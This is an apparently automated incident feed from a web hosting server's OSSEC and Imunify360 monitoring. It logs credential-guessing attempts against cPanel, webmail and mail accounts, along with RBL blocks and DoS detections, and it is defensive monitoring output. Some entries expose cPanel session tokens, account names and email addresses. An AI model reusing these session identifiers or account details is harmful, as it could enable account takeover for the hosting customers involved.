# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.18.221.21
country_id: 798544
description:
Jun 25 23:27:00 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.18.221.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.159.170.129
country_id: 6252001
description:
[2026-06-25 23:26:27 +0000] info [cpaneld] 47.159.170.129 - bie "GET /login/?login_only=1&user=bie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.130.205.61
country_id: 6252001
description:
[2026-06-25 23:26:24 +0000] info [cpaneld] 40.130.205.61 - bier "GET /login/?login_only=1&user=bier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bier (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.226.70.47
country_id: 6252001
description:
[2026-06-25 23:28:46 +0000] info [cpaneld] 47.226.70.47 - matossh "GET /login/?login_only=1&user=matossh&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matossh (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.63.209.153
country_id: 6252001
description:
[2026-06-25 23:28:33 +0000] info [cpaneld] 173.63.209.153 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.111.68.83
country_id: 6252001
description:
[2026-06-25 23:28:58 +0000] info [cpaneld] 76.111.68.83 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.127.207.14
country_id: 1562822
description:
Jun 25 23:28:46 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.127.207.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.164.151.251
country_id: 1269750
description:
Jun 25 23:28:54 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.164.151.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.76.17.29
country_id: 719819
description:
2026-06-25 23:31:04 dovecot_plain authenticator failed for H=254c111d.nat.pool.telekom.hu (localhost) [37.76.17.29]:30743: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 84.54.120.225
country_id: 1512440
description:
84.54.120.225 - - [25/Jun/2026:23:30:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038874&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-les-sinistres-des-inondations-dans-les-lacs-assistes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782430228 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/" "Mozilla/5.0 (Android 13; Mobile; rv:129.0) Gecko/129.0 Firefox/129.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.54.120.225


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.35.21.216
country_id: 6252001
description:
[2026-06-25 23:32:15 +0000] info [cpaneld] 68.35.21.216 - soeur "GET /login/?login_only=1&user=soeur&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeur (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 204.144.199.98
country_id: 6252001
description:
[2026-06-25 23:31:54 +0000] info [cpaneld] 204.144.199.98 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.252.17.65
country_id: 6252001
description:
[2026-06-25 23:32:07 +0000] info [cpaneld] 73.252.17.65 - hap "GET /login/?login_only=1&user=hap&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hap (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.97.172.127
country_id: 6252001
description:
[2026-06-25 23:32:18 +0000] info [cpaneld] 98.97.172.127 - soeu "GET /login/?login_only=1&user=soeu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeu (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.135.69.162
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.135.69.162: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.199.186.139
country_id: 6252001
description:
[2026-06-25 23:32:00 +0000] info [cpaneld] 98.199.186.139 - haplu "GET /login/?login_only=1&user=haplu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user haplu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.99.171.242
country_id: 6252001
description:
[2026-06-25 23:32:07 +0000] info [cpaneld] 68.99.171.242 - soeurnd "GET /login/?login_only=1&user=soeurnd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soeurnd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.173.189.17
country_id: 6252001
description:
[2026-06-25 23:32:23 +0000] info [cpaneld] 69.173.189.17 - soe "GET /login/?login_only=1&user=soe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.29.162.154
country_id: 6252001
description:
[2026-06-25 23:32:27 +0000] info [cpaneld] 108.29.162.154 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 188.166.237.123
country_id: 1880251
description:
Denial of Service (DoS) attack was discovered from 188.166.237.123: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.62.146.230
country_id: 6252001
description:
[2026-06-25 23:34:23 +0000] info [cpaneld] 104.62.146.230 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.233.6
country_id: 2921044
description:
Jun 25 23:34:45 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.233.6 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.104.233.138
country_id: 6252001
description:
[2026-06-25 23:34:28 +0000] info [cpaneld] 208.104.233.138 - istmtg "GET /login/?login_only=1&user=istmtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user istmtg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.41.4
country_id: 1835841
description:
Jun 25 23:34:31 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.41.4 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.185.103.194
country_id: 6252001
description:
[2026-06-25 23:34:34 +0000] info [cpaneld] 76.185.103.194 - ist "GET /login/?login_only=1&user=ist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ist (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.46
country_id: 6252001
description:
Jun 25 23:34:36 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.32.45.29
country_id: 6252001
description:
[2026-06-25 23:34:38 +0000] info [cpaneld] 73.32.45.29 - is "GET /login/?login_only=1&user=is&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user is (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.109.46.93
country_id: 6252001
description:
[2026-06-25 23:36:21 +0000] info [cpaneld] 50.109.46.93 - lerend "GET /login/?login_only=1&user=lerend&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lerend (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.75.99.54
country_id: 1819730
description:
Jun 25 23:35:29 ns5 auth[737175]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.75.99.54 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.45.219.138
country_id: 6252001
description:
[2026-06-25 23:36:10 +0000] info [cpaneld] 68.45.219.138 - togofeedcom "GET /login/?login_only=1&user=togofeedcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeedcom (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.133
country_id: 1880251
description:
43.173.175.133 - - [25/Jun/2026:23:36:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040412&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fwezou%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782430612 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/wezou/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.133


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.243.46.8
country_id: 6252001
description:
[2026-06-25 23:36:27 +0000] info [cpaneld] 73.243.46.8 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.164.20
country_id: 6252001
description:
[2026-06-25 23:36:30 +0000] info [cpaneld] 172.58.164.20 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.21.126.96
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.21.126.96: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.79.150.207
country_id: 6252001
description:
[2026-06-25 23:36:44 +0000] info [cpaneld] 45.79.150.207 NEW ifxmoxbf:z0pqhPaWa15PN8ex address=45.79.150.207,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.170.185.127
country_id: 6252001
description:
[2026-06-25 23:36:24 +0000] info [cpaneld] 97.170.185.127 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.191.176.188
country_id: 6252001
description:
[2026-06-25 23:36:26 +0000] info [cpaneld] 65.191.176.188 - lere "GET /login/?login_only=1&user=lere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lere (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.155.162.119
country_id: 6252001
description:
[2026-06-25 23:37:10 +0000] info [cpaneld] 73.155.162.119 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.85.60
country_id: 2921044
description:
[2026-06-25 23:36:32 +0000] info [whostmgrd] 217.181.85.60 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.85.212.240
country_id: 6252001
description:
[2026-06-25 23:38:02 +0000] info [cpaneld] 206.85.212.240 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.223.225.212
country_id: 6252001
description:
[2026-06-25 23:37:21 +0000] info [cpaneld] 47.223.225.212 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.225.106.35
country_id: 3658394
description:
45.225.106.35 - - [25/Jun/2026:23:38:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727643&pdata=https%253A%252F%252Fwebmail.inh.free.netmaster.tg%252F%253Flocale%253Dhu&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782430688 HTTP/2.0" 302 0 webmail.inh.free.netmaster.tg "https://webmail.inh.free.netmaster.tg/?locale=hu" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.225.106.35


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.208.23.33
country_id: 3625428
description:
[2026-06-25 23:38:16 +0000] info [cpaneld] 181.208.23.33 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.228.204.155
country_id: 6252001
description:
[2026-06-25 23:37:29 +0000] info [cpaneld] 134.228.204.155 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.174.190.149
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.174.190.149: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.223.197.139
country_id: 6252001
description:
[2026-06-25 23:38:26 +0000] info [cpaneld] 98.223.197.139 - tilit "GET /login/?login_only=1&user=tilit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilit (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.255.220.193
country_id: 6252001
description:
[2026-06-25 23:40:02 +0000] info [cpaneld] 173.255.220.193 NEW ifxmoxbf:qQ4i6WWcz_6p3ULT address=173.255.220.193,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.112.15.185
country_id: 6252001
description:
[2026-06-25 23:40:21 +0000] info [cpaneld] 97.112.15.185 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.48.76.75
country_id: 6252001
description:
[2026-06-25 23:39:31 +0000] info [cpaneld] 68.48.76.75 - kfaut "GET /login/?login_only=1&user=kfaut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfaut (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.23.110.130
country_id: 6252001
description:
[2026-06-25 23:39:23 +0000] info [cpaneld] 70.23.110.130 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 204.1.8.84
country_id: 6252001
description:
[2026-06-25 23:40:25 +0000] info [cpaneld] 204.1.8.84 - catogo "GET /login/?login_only=1&user=catogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user catogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.110.101.121
country_id: 6252001
description:
[2026-06-25 23:40:31 +0000] info [cpaneld] 75.110.101.121 - catog "GET /login/?login_only=1&user=catog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user catog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.22.239.157
country_id: 6252001
description:
[2026-06-25 23:40:42 +0000] info [cpaneld] 174.22.239.157 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.2.71.47
country_id: 6252001
description:
[2026-06-25 23:40:35 +0000] info [cpaneld] 100.2.71.47 - cato "GET /login/?login_only=1&user=cato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cato (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.200.158.72
country_id: 6252001
description:
[2026-06-25 23:40:38 +0000] info [cpaneld] 72.200.158.72 - cat "GET /login/?login_only=1&user=cat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.7.96.152
country_id: 6252001
description:
[2026-06-25 23:40:28 +0000] info [cpaneld] 47.7.96.152 - catogoorg "GET /login/?login_only=1&user=catogoorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user catogoorg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.176.20.222
country_id: 3895114
description:
Denial of Service (DoS) attack was discovered from 34.176.20.222: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.85.108.9
country_id: 1861060
description:
Denial of Service (DoS) attack was discovered from 34.85.108.9: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.89.74.126
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 34.89.74.126: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.125.195.120
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.125.195.120: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.134.193.186
country_id: 6252001
description:
[2026-06-25 23:43:40 +0000] info [cpaneld] 76.134.193.186 - atmstg "GET /login/?login_only=1&user=atmstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user atmstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.244.47.206
country_id: 6252001
description:
[2026-06-25 23:43:46 +0000] info [cpaneld] 74.244.47.206 - at "GET /login/?login_only=1&user=at&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user at (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.164.44.197
country_id: 6252001
description:
[2026-06-25 23:45:21 +0000] info [cpaneld] 67.164.44.197 - ba "GET /login/?login_only=1&user=ba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.251.23.181
country_id: 6252001
description:
[2026-06-25 23:44:24 +0000] info [cpaneld] 172.251.23.181 - sncomtg "GET /login/?login_only=1&user=sncomtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncomtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.25.152.165
country_id: 6252001
description:
[2026-06-25 23:44:26 +0000] info [cpaneld] 64.25.152.165 - snco "GET /login/?login_only=1&user=snco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.88.204.173
country_id: 6252001
description:
[2026-06-25 23:44:32 +0000] info [cpaneld] 75.88.204.173 - sn "GET /login/?login_only=1&user=sn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.174.5.108
country_id: 6252001
description:
[2026-06-25 23:45:07 +0000] info [cpaneld] 68.174.5.108 - banmla "GET /login/?login_only=1&user=banmla&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmla (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.136.140.17
country_id: 1733045
description:
2026-06-25 02:29:44 dovecot_login authenticator failed for H=([69.172.210.47]) [175.136.140.17]:58789: 535 Incorrect authentication data (set_id=info@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.126
country_id: 3469034
description:
Jun 25 02:14:57 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-25 11:39:39 +0000] info [cpaneld] 196.168.0.186 NEW aopsacai:Ianyr6sQ5TjTGjkJ address=196.168.0.186,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.67
country_id: 3469034
description:
Jun 25 03:42:47 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.154.98.82
country_id: 2750405
description:
[2026-06-25 11:34:12 +0000] info [whostmgrd] 45.154.98.82 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.67.38.24
country_id: 3469034
description:
2026-06-25 02:31:46 dovecot_login authenticator failed for H=177-67-38-24.static.newlifeinformatica.com.br ([69.172.210.47]) [177.67.38.24]:64405: 535 Incorrect authentication data (set_id=financeiro@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.188.98
country_id: 3469034
description:
Jun 25 02:52:41 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.188.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.244.218
country_id: 3865483
description:
Jun 25 05:54:04 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:16:51 dovecot_login authenticator failed for H=(SFDSu7v) [152.32.198.215]:59634: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-25 09:45:11 +0000] info [webmaild] 80.248.64.198 - support@cloud-et-racks.tg "POST /cpsess3558656753/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [80.248.72.20] != Current IP Address [80.248.64.198]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.70
country_id: 2395170
description:
Jun 25 02:26:16 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.69.181.138
country_id: 2542007
description:
[2026-06-25 03:37:46 +0000] info [cpaneld] 105.69.181.138 - aogodmm "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 154.70.82.246
country_id: 2363686
description:
Denial of Service (DoS) attack was discovered from 154.70.82.246: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.186.65.191
country_id: 3895114
description:
2026-06-25 02:32:02 dovecot_login authenticator failed for H=([69.172.210.47]) [201.186.65.191]:36330: 535 Incorrect authentication data (set_id=comercial@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-25 11:11:24 +0000] info [webmaild] 196.170.45.140 - wages@wages.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.232.222.55
country_id: 2802361
description:
104.232.222.55 - - [25/Jun/2026:11:56:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592919&pdata=https%253A%252F%252Fwww.fundacionesperanzatogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782388618 HTTP/2.0" 302 0 www.fundacionesperanzatogo.tg "https://www.fundacionesperanzatogo.tg/" "Mozilla/5.0 (Linux; Android 13; 22111317PG Build/TKQ1.221114.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023108040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.8.4 ByteLocale/pt ByteFullLocale/pt Region/BR AppId/1233 Spark/1.4.3-alpha.5 AppVersion/31.8.4 BytedanceWebview/d8a21c6" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.232.222.55


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jun 25 08:27:07 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-25 02:50:17 dovecot_login authenticator failed for H=([130.94.88.77]) [130.94.88.77]:49398: 535 Incorrect authentication data (set_id=amballtogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.224.45
country_id: 3865483
description:
Jun 25 03:27:03 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.224.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.177.100
country_id: 3469034
description:
Jun 25 07:16:50 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.177.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.113
country_id: 3469034
description:
